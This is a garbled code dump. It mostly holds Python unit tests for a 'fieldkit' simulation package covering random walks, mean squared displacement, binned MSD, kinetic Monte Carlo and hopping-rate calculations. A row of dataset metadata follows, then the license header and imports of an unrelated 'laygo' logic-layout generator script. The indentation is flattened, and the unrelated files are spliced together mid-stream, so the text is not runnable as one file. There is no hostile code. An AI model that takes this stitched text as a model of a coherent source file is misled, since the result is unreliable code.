self.assertLessEqual(np.max(traj[1]-traj[0]), 1)
self.assertGreaterEqual(np.min(traj[1]-traj[0]), -1)
# 1->2
self.assertLessEqual(np.max(traj[2]-traj[1]), 1)
self.assertGreaterEqual(np.min(traj[2]-traj[1]), -1)
# 2->3
self.assertLessEqual(np.max(traj[3]-traj[2]), 1)
self.assertGreaterEqual(np.min(traj[3]-traj[2]), -1)
# try to restart from last state
traj2,_,_ = fieldkit.simulate.random_walk(domain, N=2, steps=1, runs=1, coords=x, images=im, seed=24)
# first frame should match old coordinates
np.testing.assert_array_equal(traj2[0], x + im*mesh.shape)
# difference between last old and first new should be 1 step at most
self.assertLessEqual(np.max(traj2[0]-traj[-1]), 1)
self.assertGreaterEqual(np.min(traj2[0]-traj[-1]), -1)
def test_msd(self):
""" Validate random walk with a short simulation, computing the MSD.
The simulation is constructed so that the MSD = 1 for each component after 1 run.
"""
mesh = fieldkit.Mesh().from_lattice(N=10, lattice=fieldkit.HOOMDLattice(L=10.0))
field = fieldkit.Field(mesh).from_array(np.ones(mesh.shape))
domain = fieldkit.domain.digitize(field, threshold=0.5)
# displacement should be consistent with random walk
traj,_,_ = fieldkit.simulate.random_walk(domain, N=4000, steps=3, runs=1000, seed=42)
window = 3
msd = np.zeros((window+1,3))
samples = np.zeros(window+1, dtype=np.int32)
for i,ri in enumerate(traj[:-1]):
for dt in range(1,min(window+1,traj.shape[0]-i)):
rj = traj[i+dt]
dr = rj-ri
msd[dt] += np.mean(dr*dr,axis=0)
samples[dt] += 1
flags = samples > 0
for ax in range(3):
msd[flags,ax] /= samples[flags]
np.testing.assert_array_almost_equal(msd[0], (0.,0.,0.), decimal=3)
np.testing.assert_array_almost_equal(msd[1], (1.,1.,1.), decimal=3)
np.testing.assert_array_almost_equal(msd[2], (2.,2.,2.), decimal=2)
np.testing.assert_array_almost_equal(msd[3], (3.,3.,3.), decimal=2)
# use compiled code to test farther out
msd_2 = fieldkit.simulate.msd(traj,window=window)
self.assertEqual(msd_2.shape, (window+1,3))
np.testing.assert_array_almost_equal(msd_2[0], (0.,0.,0.), decimal=3)
np.testing.assert_array_almost_equal(msd_2[1], (1.,1.,1.), decimal=3)
np.testing.assert_array_almost_equal(msd_2[2], (2.,2.,2.), decimal=2)
np.testing.assert_array_almost_equal(msd_2[3], (3.,3.,3.), decimal=2)
# both results should be essentially the same
np.testing.assert_array_almost_equal(msd,msd_2)
# use every 2nd origin with a looser tolerance due to lower stats
msd_3 = fieldkit.simulate.msd(traj,window=window,every=2)
self.assertEqual(msd_3.shape, (window+1,3))
np.testing.assert_array_almost_equal(msd_3[0], (0.,0.,0.), decimal=3)
np.testing.assert_array_almost_equal(msd_3[1], (1.,1.,1.), decimal=2)
np.testing.assert_array_almost_equal(msd_3[2], (2.,2.,2.), decimal=2)
np.testing.assert_array_almost_equal(msd_3[3], (3.,3.,3.), decimal=2)
def test_msd_binned(self):
""" Test binned MSD compared to bulk MSD calculator.
The simulation is constructed so that the MSD = 1 for each component after 1 run.
"""
# dummy trajectory
traj = np.zeros((4,3,3))
traj[0,:] = [[0,0,0],[-1.9, 0, 0],[1.5,3,7]]
traj[1,:] = [[0.1,2,-1],[-1.8,-1,3],[1.6,4,8]]
traj[2,:] = [[0.2,4,-2],[-1.7,-2,6],[1.7,5,9]]
traj[3,:] = [[0.3,6,-3],[-1.6,-3,9],[1.8,6,10]]
# msd from binned
msd_bin,edges = fieldkit.simulate.msd_binned(traj, window=1, axis=0, bins=8, range=(-2,2))
self.assertEqual(msd_bin.shape, (8,2,3))
self.assertEqual(edges.shape, (9,))
np.testing.assert_array_almost_equal(edges,(-2.,-1.5,-1.0,-0.5,0.,0.5,1.0,1.5,2.0))
# only bins 0, 4, and 7 have particles contributing
np.testing.assert_array_almost_equal(msd_bin[0], ((0.,0.,0.),(1.e-2,1.,9.)))
np.testing.assert_array_almost_equal(msd_bin[1], ((0.,0.,0.),(0.,0.,0.)))
np.testing.assert_array_almost_equal(msd_bin[2], ((0.,0.,0.),(0.,0.,0.)))
np.testing.assert_array_almost_equal(msd_bin[3], ((0.,0.,0.),(0.,0.,0.)))
np.testing.assert_array_almost_equal(msd_bin[4], ((0.,0.,0.),(1.e-2,4.,1.)))
np.testing.assert_array_almost_equal(msd_bin[5], ((0.,0.,0.),(0.,0.,0.)))
np.testing.assert_array_almost_equal(msd_bin[6], ((0.,0.,0.),(0.,0.,0.)))
np.testing.assert_array_almost_equal(msd_bin[7], ((0.,0.,0.),(1.e-2,1.,1.)))
# repeat using every other origin, should give identical result
msd_bin,_ = fieldkit.simulate.msd_binned(traj, window=1, axis=0, bins=8, range=(-2,2), every=2)
self.assertEqual(msd_bin.shape, (8,2,3))
np.testing.assert_array_almost_equal(msd_bin[0], ((0.,0.,0.),(1.e-2,1.,9.)))
np.testing.assert_array_almost_equal(msd_bin[1], ((0.,0.,0.),(0.,0.,0.)))
np.testing.assert_array_almost_equal(msd_bin[2], ((0.,0.,0.),(0.,0.,0.)))
np.testing.assert_array_almost_equal(msd_bin[3], ((0.,0.,0.),(0.,0.,0.)))
np.testing.assert_array_almost_equal(msd_bin[4], ((0.,0.,0.),(1.e-2,4.,1.)))
np.testing.assert_array_almost_equal(msd_bin[5], ((0.,0.,0.),(0.,0.,0.)))
np.testing.assert_array_almost_equal(msd_bin[6], ((0.,0.,0.),(0.,0.,0.)))
np.testing.assert_array_almost_equal(msd_bin[7], ((0.,0.,0.),(1.e-2,1.,1.)))
# compute with a range that no particles lie in, should give all zeros
msd_bin,_ = fieldkit.simulate.msd_binned(traj, window=1, axis=0, bins=1, range=(-1.5,-0.1))
self.assertEqual(msd_bin.shape, (1,2,3))
np.testing.assert_array_almost_equal(msd_bin[0], ((0.,0.,0.),(0.,0.,0.)))
# repeat for the window that only the first particle lies in
msd_bin,_ = fieldkit.simulate.msd_binned(traj, window=1, axis=0, bins=3, range=(0,0.6))
self.assertEqual(msd_bin.shape, (3,2,3))
np.testing.assert_array_almost_equal(msd_bin[0], ((0.,0.,0.),(1.e-2,4.,1.)))
np.testing.assert_array_almost_equal(msd_bin[1], ((0.,0.,0.),(1.e-2,4.,1.)))
np.testing.assert_array_almost_equal(msd_bin[2], ((0.,0.,0.),(0.,0.,0.)))
# roll the trajectory so binning is done along y
traj = np.roll(traj, shift=1, axis=2)
msd_bin,_ = fieldkit.simulate.msd_binned(traj, window=1, axis=1, bins=8, range=(-2,2))
self.assertEqual(msd_bin.shape, (8,2,3))
np.testing.assert_array_almost_equal(msd_bin[0], ((0.,0.,0.),(9.,1.e-2,1.)))
np.testing.assert_array_almost_equal(msd_bin[1], ((0.,0.,0.),(0.,0.,0.)))
np.testing.assert_array_almost_equal(msd_bin[2], ((0.,0.,0.),(0.,0.,0.)))
np.testing.assert_array_almost_equal(msd_bin[3], ((0.,0.,0.),(0.,0.,0.)))
np.testing.assert_array_almost_equal(msd_bin[4], ((0.,0.,0.),(1.,1.e-2,4.)))
np.testing.assert_array_almost_equal(msd_bin[5], ((0.,0.,0.),(0.,0.,0.)))
np.testing.assert_array_almost_equal(msd_bin[6], ((0.,0.,0.),(0.,0.,0.)))
np.testing.assert_array_almost_equal(msd_bin[7], ((0.,0.,0.),(1.,1.e-2,1.)))
# roll again so binning is done along z
traj = np.roll(traj, shift=1, axis=2)
msd_bin,_ = fieldkit.simulate.msd_binned(traj, window=1, axis=2, bins=8, range=(-2,2))
self.assertEqual(msd_bin.shape, (8,2,3))
np.testing.assert_array_almost_equal(msd_bin[0], ((0.,0.,0.),(1.,9.,1.e-2)))
np.testing.assert_array_almost_equal(msd_bin[1], ((0.,0.,0.),(0.,0.,0.)))
np.testing.assert_array_almost_equal(msd_bin[2], ((0.,0.,0.),(0.,0.,0.)))
np.testing.assert_array_almost_equal(msd_bin[3], ((0.,0.,0.),(0.,0.,0.)))
np.testing.assert_array_almost_equal(msd_bin[4], ((0.,0.,0.),(4.,1.,1.e-2)))
np.testing.assert_array_almost_equal(msd_bin[5], ((0.,0.,0.),(0.,0.,0.)))
np.testing.assert_array_almost_equal(msd_bin[6], ((0.,0.,0.),(0.,0.,0.)))
np.testing.assert_array_almost_equal(msd_bin[7], ((0.,0.,0.),(1.,1.,1.e-2)))
def test_msd_survival(self):
""" Test binned MSD compared to bulk MSD calculator.
The simulation is constructed so that the MSD = 1 for each component after 1 run.
"""
# dummy trajectory
traj = np.zeros((4,3,3))
traj[0,:] = [[0,0,0],[-1.9, 0, 0],[1.5,3,7]]
traj[1,:] = [[0.1,2,-1],[-1.8,-1,3],[1.6,4,8]]
traj[2,:] = [[0.2,4,-2],[-1.7,-2,6],[1.7,5,9]]
traj[3,:] = [[0.3,6,-3],[-1.6,-3,9],[1.8,6,10]]
# msd from binned
msd_bin,counts,edges = fieldkit.simulate.msd_survival(traj, window=1, axis=0, bins=8, range=(-2,2))
self.assertEqual(msd_bin.shape, (8,2,2))
self.assertEqual(counts.shape, (8,2))
self.assertEqual(edges.shape, (9,))
np.testing.assert_array_almost_equal(edges,(-2.,-1.5,-1.0,-0.5,0.,0.5,1.0,1.5,2.0))
# check counts
np.testing.assert_array_equal(counts[0], (3,3))
np.testing.assert_array_equal(counts[1], (0,0))
np.testing.assert_array_equal(counts[2], (0,0))
np.testing.assert_array_equal(counts[3], (0,0))
np.testing.assert_array_equal(counts[4], (3,3))
np.testing.assert_array_equal(counts[5], (0,0))
np.testing.assert_array_equal(counts[6], (0,0))
np.testing.assert_array_equal(counts[7], (3,3))
# only bins 0, 4, and 7 have particles contributing
np.testing.assert_array_almost_equal(msd_bin[0], ((0.,0.),(1.,9.)))
np.testing.assert_array_almost_equal(msd_bin[1], ((0.,0.),(0.,0.)))
np.testing.assert_array_almost_equal(msd_bin[2], ((0.,0.),(0.,0.)))
np.testing.assert_array_almost_equal(msd_bin[3], ((0.,0.),(0.,0.)))
np.testing.assert_array_almost_equal(msd_bin[4], ((0.,0.),(4.,1.)))
np.testing.assert_array_almost_equal(msd_bin[5], ((0.,0.),(0.,0.)))
np.testing.assert_array_almost_equal(msd_bin[6], ((0.,0.),(0.,0.)))
np.testing.assert_array_almost_equal(msd_bin[7], ((0.,0.),(1.,1.)))
# repeat using every other origin, should give identical result
msd_bin,_,_ = fieldkit.simulate.msd_survival(traj, window=1, axis=0, bins=8, range=(-2,2), every=2)
self.assertEqual(msd_bin.shape, (8,2,2))
np.testing.assert_array_almost_equal(msd_bin[0], ((0.,0.),(1.,9.)))
np.testing.assert_array_almost_equal(msd_bin[1], ((0.,0.),(0.,0.)))
np.testing.assert_array_almost_equal(msd_bin[2], ((0.,0.),(0.,0.)))
np.testing.assert_array_almost_equal(msd_bin[3], ((0.,0.),(0.,0.)))
np.testing.assert_array_almost_equal(msd_bin[4], ((0.,0.),(4.,1.)))
np.testing.assert_array_almost_equal(msd_bin[5], ((0.,0.),(0.,0.)))
np.testing.assert_array_almost_equal(msd_bin[6], ((0.,0.),(0.,0.)))
np.testing.assert_array_almost_equal(msd_bin[7], ((0.,0.),(1.,1.)))
# compute with a range that no particles lie in, should give all zeros
msd_bin,_,_ = fieldkit.simulate.msd_survival(traj, window=1, axis=0, bins=1, range=(-1.5,-0.1))
self.assertEqual(msd_bin.shape, (1,2,2))
np.testing.assert_array_almost_equal(msd_bin[0], ((0.,0.),(0.,0.)))
# roll the trajectory so binning is done along y
traj = np.roll(traj, shift=1, axis=2)
msd_bin,_,_ = fieldkit.simulate.msd_survival(traj, window=1, axis=1, bins=8, range=(-2,2))
self.assertEqual(msd_bin.shape, (8,2,2))
np.testing.assert_array_almost_equal(msd_bin[0], ((0.,0.),(9.,1.)))
np.testing.assert_array_almost_equal(msd_bin[1], ((0.,0.),(0.,0.)))
np.testing.assert_array_almost_equal(msd_bin[2], ((0.,0.),(0.,0.)))
np.testing.assert_array_almost_equal(msd_bin[3], ((0.,0.),(0.,0.)))
np.testing.assert_array_almost_equal(msd_bin[4], ((0.,0.),(1.,4.)))
np.testing.assert_array_almost_equal(msd_bin[5], ((0.,0.),(0.,0.)))
np.testing.assert_array_almost_equal(msd_bin[6], ((0.,0.),(0.,0.)))
np.testing.assert_array_almost_equal(msd_bin[7], ((0.,0.),(1.,1.)))
# roll again so binning is done along z
traj = np.roll(traj, shift=1, axis=2)
msd_bin,_,_ = fieldkit.simulate.msd_survival(traj, window=1, axis=2, bins=8, range=(-2,2))
self.assertEqual(msd_bin.shape, (8,2,2))
np.testing.assert_array_almost_equal(msd_bin[0], ((0.,0.),(1.,9.)))
np.testing.assert_array_almost_equal(msd_bin[1], ((0.,0.),(0.,0.)))
np.testing.assert_array_almost_equal(msd_bin[2], ((0.,0.),(0.,0.)))
np.testing.assert_array_almost_equal(msd_bin[3], ((0.,0.),(0.,0.)))
np.testing.assert_array_almost_equal(msd_bin[4], ((0.,0.),(4.,1.)))
np.testing.assert_array_almost_equal(msd_bin[5], ((0.,0.),(0.,0.)))
np.testing.assert_array_almost_equal(msd_bin[6], ((0.,0.),(0.,0.)))
np.testing.assert_array_almost_equal(msd_bin[7], ((0.,0.),(1.,1.)))
# TODO: test when a particle exits the bin
def test_msd_survival_cylinder(self):
""" Test radially binned MSD."""
# dummy radial and axial coordinates
r = np.zeros((4,3))
r[0,:] = [0.0,1.5,2.5]
r[1,:] = [0.3,1.3,2.5]
r[2,:] = [0.6,1.1,2.5]
r[3,:] = [0.9,1.01,2.5]
# 0 has D = 1, 1 has D = 2, 2 has D = 3
z = np.zeros((4,3))
z[0,:] = [1,-2,0]
z[1,:] = [2,-4,3]
z[2,:] = [3,-6,6]
z[3,:] = [4,-8,9]
# msd from binned
msd_bin,counts,edges = fieldkit.simulate.msd_survival_cylinder(r, z, window=1, bins=4, range=(0,4))
self.assertEqual(msd_bin.shape, (4,2))
self.assertEqual(counts.shape, (4,2))
self.assertEqual(edges.shape, (5,))
np.testing.assert_array_almost_equal(edges,(0,1,2,3,4))
# check counts
np.testing.assert_array_equal(counts[0], (3,3))
np.testing.assert_array_equal(counts[1], (3,3))
np.testing.assert_array_equal(counts[2], (3,3))
np.testing.assert_array_equal(counts[3], (0,0))
# only bins 0, 1, and 2 have particles contributing
np.testing.assert_array_almost_equal(msd_bin[0], (0,1))
np.testing.assert_array_almost_equal(msd_bin[1], (0,4))
np.testing.assert_array_almost_equal(msd_bin[2], (0,9))
np.testing.assert_array_almost_equal(msd_bin[3], (0,0))
# repeat using every other origin, should give identical result
msd_bin,_,_ = fieldkit.simulate.msd_survival_cylinder(r, z, window=1, bins=4, range=(0,4), every=2)
self.assertEqual(msd_bin.shape, (4,2))
np.testing.assert_array_almost_equal(msd_bin[0], (0,1))
np.testing.assert_array_almost_equal(msd_bin[1], (0,4))
np.testing.assert_array_almost_equal(msd_bin[2], (0,9))
np.testing.assert_array_almost_equal(msd_bin[3], (0,0))
# shring range to lose inner and outer particle
msd_bin,_,_ = fieldkit.simulate.msd_survival_cylinder(r, z, window=1, bins=2, range=(1,3))
self.assertEqual(msd_bin.shape, (2,2))
np.testing.assert_array_almost_equal(msd_bin[0], (0,4))
np.testing.assert_array_almost_equal(msd_bin[1], (0,9))
class BiasedRandomWalkTest(unittest.TestCase):
""" Test cases for :py:class:`~fieldkit.simulate.biased_walk`
"""
def test_one_step(self):
""" Test biased random walk rules for one step, using unbiased rates.
"""
mesh = fieldkit.Mesh().from_lattice(N=3, lattice=fieldkit.HOOMDLattice(L=3.0))
field = fieldkit.Field(mesh).from_array(np.ones(mesh.shape))
field[:,:,0] = 0
domain = fieldkit.domain.digitize(field, threshold=0.5)
# these are the hopping rates.
# should really be zero to go in boundary, but this move will be rejected anyway.
probs = np.full(list(mesh.shape) + [6], 1./6.)
traj,x,im = fieldkit.simulate.biased_walk(domain, probs, N=2, steps=1, runs=10, seed=42)
# check shape of output is OK
self.assertEqual(traj.shape, (10,2,3))
self.assertEqual(x.shape, (2,3))
self.assertEqual(im.shape, (2,3))
# check that all coords are still in box
self.assertTrue(np.all(x >= 0))
self.assertTrue(np.all(x < 3))
# walk cannot enter z = 0
self.assertTrue(np.all(traj[:,:,2] != 0))
# with 10 steps, a particle cannot have traveled more than 3 images
self.assertTrue(np.all(im >= -3))
self.assertTrue(np.all(im < 3))
# check that trajectory is continuous (no step is larger than 1)
# 0->1
self.assertLessEqual(np.max(traj[1]-traj[0]), 1)
self.assertGreaterEqual(np.min(traj[1]-traj[0]), -1)
# 1->2
self.assertLessEqual(np.max(traj[2]-traj[1]), 1)
self.assertGreaterEqual(np.min(traj[2]-traj[1]), -1)
# 2->3
self.assertLessEqual(np.max(traj[3]-traj[2]), 1)
self.assertGreaterEqual(np.min(traj[3]-traj[2]), -1)
# try to restart from last state
traj2,_,_ = fieldkit.simulate.biased_walk(domain, probs, N=2, steps=1, runs=1, coords=x, images=im, seed=24)
# first frame should match old coordinates
np.testing.assert_array_equal(traj2[0], x + im*mesh.shape)
# difference between last old and first new should be 1 step at most
self.assertLessEqual(np.max(traj2[0]-traj[-1]), 1)
self.assertGreaterEqual(np.min(traj2[0]-traj[-1]), -1)
def test_msd(self):
""" Validate biased random walk with a short simulation, computing the MSD.
The simulation is constructed so that the MSD = 1 for each component after 1 run.
"""
mesh = fieldkit.Mesh().from_lattice(N=10, lattice=fieldkit.HOOMDLattice(L=10.0))
field = fieldkit.Field(mesh).from_array(np.ones(mesh.shape))
domain = fieldkit.domain.digitize(field, threshold=0.5)
# these are the hopping rates, which we make a random walk for now
probs = np.full(list(mesh.shape) + [6], 1./6.)
# displacement should be consistent with random walk
traj,_,_ = fieldkit.simulate.biased_walk(domain, probs, N=4000, steps=3, runs=1000, seed=42)
window = 3
msd = np.zeros((window+1,3))
samples = np.zeros(window+1, dtype=np.int32)
for i,ri in enumerate(traj[:-1]):
for dt in range(1,min(window+1,traj.shape[0]-i)):
rj = traj[i+dt]
dr = rj-ri
msd[dt] += np.mean(dr*dr,axis=0)
samples[dt] += 1
flags = samples > 0
for ax in range(3):
msd[flags,ax] /= samples[flags]
np.testing.assert_array_almost_equal(msd[0], (0.,0.,0.), decimal=3)
np.testing.assert_array_almost_equal(msd[1], (1.,1.,1.), decimal=3)
np.testing.assert_array_almost_equal(msd[2], (2.,2.,2.), decimal=2)
np.testing.assert_array_almost_equal(msd[3], (3.,3.,3.), decimal=2)
# use compiled code to test farther out
msd_2 = fieldkit.simulate.msd(traj,window=window)
self.assertEqual(msd_2.shape, (window+1,3))
np.testing.assert_array_almost_equal(msd_2[0], (0.,0.,0.), decimal=3)
np.testing.assert_array_almost_equal(msd_2[1], (1.,1.,1.), decimal=3)
np.testing.assert_array_almost_equal(msd_2[2], (2.,2.,2.), decimal=2)
np.testing.assert_array_almost_equal(msd_2[3], (3.,3.,3.), decimal=2)
# both results should be essentially the same
np.testing.assert_array_almost_equal(msd,msd_2)
# use every 2nd origin with a looser tolerance due to lower stats
msd_3 = fieldkit.simulate.msd(traj,window=window,every=2)
self.assertEqual(msd_3.shape, (window+1,3))
np.testing.assert_array_almost_equal(msd_3[0], (0.,0.,0.), decimal=3)
np.testing.assert_array_almost_equal(msd_3[1], (1.,1.,1.), decimal=2)
np.testing.assert_array_almost_equal(msd_3[2], (2.,2.,2.), decimal=2)
np.testing.assert_array_almost_equal(msd_3[3], (3.,3.,3.), decimal=2)
class kmcTest(unittest.TestCase):
""" Test cases for :py:class:`~fieldkit.simulate.kmc`"""
def test_basic(self):
""" Test basic biased random walk rules, using unbiased rates."""
mesh = fieldkit.Mesh().from_lattice(N=3, lattice=fieldkit.HOOMDLattice(L=3.0))
field = fieldkit.Field(mesh).from_array(np.ones(mesh.shape))
field[:,:,0] = 0
domain = fieldkit.domain.digitize(field, threshold=0.5)
# these are the hopping rates.
# should really be zero to go in boundary, but this move will be rejected anyway.
rates = np.full(list(mesh.shape) + [6], 1.)
traj,x,im,t = fieldkit.simulate.kmc(domain, rates, np.arange(10), N=2, steps=100, seed=42)
# check shape of output is OK
self.assertEqual(traj.shape, (10,2,3))
self.assertEqual(x.shape, (2,3))
self.assertEqual(im.shape, (2,3))
self.assertEqual(t.shape, (2,))
# check that all coords are still in box
self.assertTrue(np.all(x >= 0))
self.assertTrue(np.all(x < 3))
# walk cannot enter z = 0
self.assertTrue(np.all(traj[:,:,2] != 0))
# with 10 steps, a particle cannot have traveled more than 3 images
self.assertTrue(np.all(im >= -3))
self.assertTrue(np.all(im < 3))
def test_msd(self):
""" Validate biased random walk with a short simulation, computing the MSD.
This MSD is a little different than the usual random walk because the MSD tends
to 1.0 at t->0, rather than 0.0, because any hop (even after a short time) moves
the walker by one lattice site.
"""
mesh = fieldkit.Mesh().from_lattice(N=10, lattice=fieldkit.HOOMDLattice(L=10.0))
field = fieldkit.Field(mesh).from_array(np.ones(mesh.shape))
domain = fieldkit.domain.digitize(field, threshold=0.5)
# displacement should be consistent with random walk with coeff. 1/2
rates = np.full(list(mesh.shape) + [6], 0.5)
traj,_,_,_ = fieldkit.simulate.kmc(domain, rates, np.arange(2000), N=4000, steps=10000, seed=42)
window = 3
msd = fieldkit.simulate.msd(traj,window=window)
self.assertEqual(msd.shape, (window+1,3))
np.testing.assert_array_almost_equal(msd[0], (0.,0.,0.), decimal=3)
np.testing.assert_array_almost_equal(msd[1], (1.,1.,1.), decimal=3)
np.testing.assert_array_almost_equal(msd[2], (2.,2.,2.), decimal=2)
np.testing.assert_array_almost_equal(msd[3], (3.,3.,3.), decimal=2)
def test_rates(self):
"""Test hopping rate calculator."""
mesh = fieldkit.Mesh().from_lattice(N=12, lattice=fieldkit.HOOMDLattice(L=12.0))
## bias D in z
flags = np.logical_or(mesh.grid[...,2] < 1.0, mesh.grid[...,2] > 10)
D = fieldkit.Field(mesh).from_array(0.1*(11.0-mesh.grid[...,2]))
D[flags] = 0.
rho = fieldkit.Field(mesh).from_array(np.ones(mesh.shape))
rho[flags] = 0.
domain = fieldkit.domain.digitize(rho, threshold=1.e-6)
# check rates by hand for simple case
rates = fieldkit.simulate.compute_hopping_rates(domain, D, rho)
self.assertEqual(rates.shape, (12,12,12,6))
np.testing.assert_array_almost_equal(rates[0,0,0], (0.,0.,0.,0.,0.,0.))
np.testing.assert_array_almost_equal(rates[0,0,1], (1.,1.,1.,1.,0.95,0.))
np.testing.assert_array_almost_equal(rates[0,0,2], (0.9,0.9,0.9,0.9,0.85,0.95))
# ...
np.testing.assert_array_almost_equal(rates[0,0,9], (0.2,0.2,0.2,0.2,0.15,0.25))
np.testing.assert_array_almost_equal(rates[0,0,10], (0.1,0.1,0.1,0.1,0.,0.15))
np.testing.assert_array_almost_equal(rates[0,0,11], (0.,0.,0.,0.,0.,0.))
np.testing.assert_array_almost_equal(rates[0,0], rates[1,0])
np.testing.assert_array_almost_equal(rates[0,0], rates[0,1])
# run short simulation to verify density distribution
traj,_,_,_ = fieldkit.simulate.kmc(domain, rates, 100+np.arange(500), N=1000, steps=10000, seed=42)
self.assertEqual(np.min(traj[...,2]), 1)
self.assertEqual(np.max(traj[...,2]), 10)
hist,_ = np.histogram(traj[...,2], range=(0.5,10.5), bins=10, density=True)
np.testing.assert_array_almost_equal(hist, 0.1, decimal=2)
## also bias the density in z
rho.field = 0.1*(mesh.grid[...,2])
rho[flags] = 0.
domain = fieldkit.domain.digitize(rho, threshold=1.e-6)
rates = fieldkit.simulate.compute_hopping_rates(domain, D, rho)
np.testing.assert_array_almost_equal(rates[0,0,0,0:4], 0.)
np.testing.assert_array_almost_equal(rates[0,0,1,0:4], 1.)
np.testing.assert_array_almost_equal(rates[0,0,10,0:4], 0.1)
np.testing.assert_array_almost_equal(rates[0,0,11,0:4], 0.)
np.testing.assert_array_almost_equal(rates[0,0], rates[1,0])
np.testing.assert_array_almost_equal(rates[0,0], rates[0,1])
traj,_,_,_ = fieldkit.simulate.kmc(domain, rates, 100+np.arange(500), N=1000, steps=10000, seed=42)
self.assertEqual(np.min(traj[...,2]), 1)
self.assertEqual(np.max(traj[...,2]), 10)
hist,_ = np.histogram(traj[...,2], range=(0.5,10.5), bins=10, density=True)
np.testing.assert_array_almost_equal(hist, rho.field[0,0,1:-1]/np.sum(rho.field[0,0,1:-1]), decimal=2)
## roll axis to y
D.field = np.moveaxis(D.field,2,1)
rho.field = np.moveaxis(rho.field,2,1)
domain = fieldkit.domain.digitize(rho, threshold=1.e-6)
rates = fieldkit.simulate.compute_hopping_rates(domain, D, rho)
np.testing.assert_array_almost_equal(rates[0,0,0,0:2], 0.)
np.testing.assert_array_almost_equal(rates[0,0,0,4:6], 0.)
np.testing.assert_array_almost_equal(rates[0,1,0,0:2], 1.)
np.testing.assert_array_almost_equal(rates[0,1,0,4:6], 1.)
np.testing.assert_array_almost_equal(rates[0,10,0,0:2], 0.1)
np.testing.assert_array_almost_equal(rates[0,10,0,4:6], 0.1)
np.testing.assert_array_almost_equal(rates[0,11,0,0:2], 0.)
np.testing.assert_array_almost_equal(rates[0,11,0,4:6], 0.)
np.testing.assert_array_almost_equal(rates[0,:,0], rates[1,:,0])
np.testing.assert_array_almost_equal(rates[0,:,0], rates[0,:,1])
traj,_,_,_ = fieldkit.simulate.kmc(domain, rates, 100+np.arange(500), N=1000, steps=10000, seed=42)
self.assertEqual(np.min(traj[...,1]), 1)
self.assertEqual(np.max(traj[...,1]), 10)
hist,_ = np.histogram(traj[...,1], range=(0.5,10.5), bins=10, density=True)
np.testing.assert_array_almost_equal(hist, rho.field[0,1:-1,0]/np.sum(rho.field[0,1:-1,0]), decimal=2)
## roll axis to z
D.field = np.moveaxis(D.field,1,0)
rho.field = np.moveaxis(rho.field,1,0)
domain = fieldkit.domain.digitize(rho, threshold=1.e-6)
rates = fieldkit.simulate.compute_hopping_rates(domain, D, rho)
np.testing.assert_array_almost_equal(rates[0,0,0,2:6], 0.)
np.testing.assert_array_almost_equal(rates[1,0,0,2:6], 1.)
np.testing.assert_array_almost_equal(rates[10,0,0,2:6], 0.1)
np.testing.assert_array_almost_equal(rates[11,0,0,2:6], 0.)
np.testing.assert_array_almost_equal(rates[:,0,0], rates[:,1,0])
np.testing.assert_array_almost_equal(rates[:,0,0], rates[:,0,1])
traj,_,_,_ = fieldkit.simulate.kmc(domain, rates, 100+np.arange(500), N=1000, steps=10000, seed=42)
self.assertEqual(np.min(traj[...,0]), 1)
self.assertEqual(np.max(traj[...,0]), 10)
hist,_ = np.histogram(traj[...,0], range=(0.5,10.5), bins=10, density=True)
np.testing.assert_array_almost_equal(hist, rho.field[1:-1,0,0]/np.sum(rho.field[1:-1,0,0]), decimal=2)
| 51.461268 | 116 | 0.614232 | 4,812 | 29,230 | 3.583957 | 0.057564 | 0.03769 | 0.033225 | 0.18555 | 0.932796 | 0.915111 | 0.898237 | 0.878986 | 0.866462 | 0.837528 | 0 | 0.073767 | 0.199521 | 29,230 | 567 | 117 | 51.552028 | 0.663305 | 0.139104 | 0 | 0.670185 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.001764 | 0.617414 | 1 | 0.026385 | false | 0 | 0.007916 | 0 | 0.042216 | 0 | 0 | 0 | 0 | null | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 8 |
90de5855392a7a0246dd03346befb0707c52b316 | 367,673 | py | Python | laygo/generators/logic/logic_templates_layout_generator.py | tinapiao/Software-IC-Automation | 74b23cd94aa6e4658b110e93b5deb635e014f3a6 | [
"BSD-3-Clause"
] | 26 | 2017-07-07T08:06:31.000Z | 2021-11-25T06:41:24.000Z | laygo/generators/logic/logic_templates_layout_generator.py | tinapiao/Software-IC-Automation | 74b23cd94aa6e4658b110e93b5deb635e014f3a6 | [
"BSD-3-Clause"
] | 9 | 2016-12-28T03:08:29.000Z | 2019-01-30T16:00:28.000Z | laygo/generators/logic/logic_templates_layout_generator.py | tinapiao/Software-IC-Automation | 74b23cd94aa6e4658b110e93b5deb635e014f3a6 | [
"BSD-3-Clause"
] | 10 | 2018-07-14T01:31:28.000Z | 2021-08-21T10:18:30.000Z | #!/usr/bin/python
########################################################################################################################
#
# Copyright (c) 2014, Regents of the University of California
# All rights reserved.
#
# Redistribution and use in source and binary forms, with or without modification, are permitted provided that the
# following conditions are met:
#
# 1. Redistributions of source code must retain the above copyright notice, this list of conditions and the following
# disclaimer.
# 2. Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the
# following disclaimer in the documentation and/or other materials provided with the distribution.
#
# THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES,
# INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
# DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
# SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
# SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY,
# WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
# OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
#
########################################################################################################################
"""Logic layout
"""
import laygo
import numpy as np
import yaml
import os
#import logging;logging.basicConfig(level=logging.DEBUG)
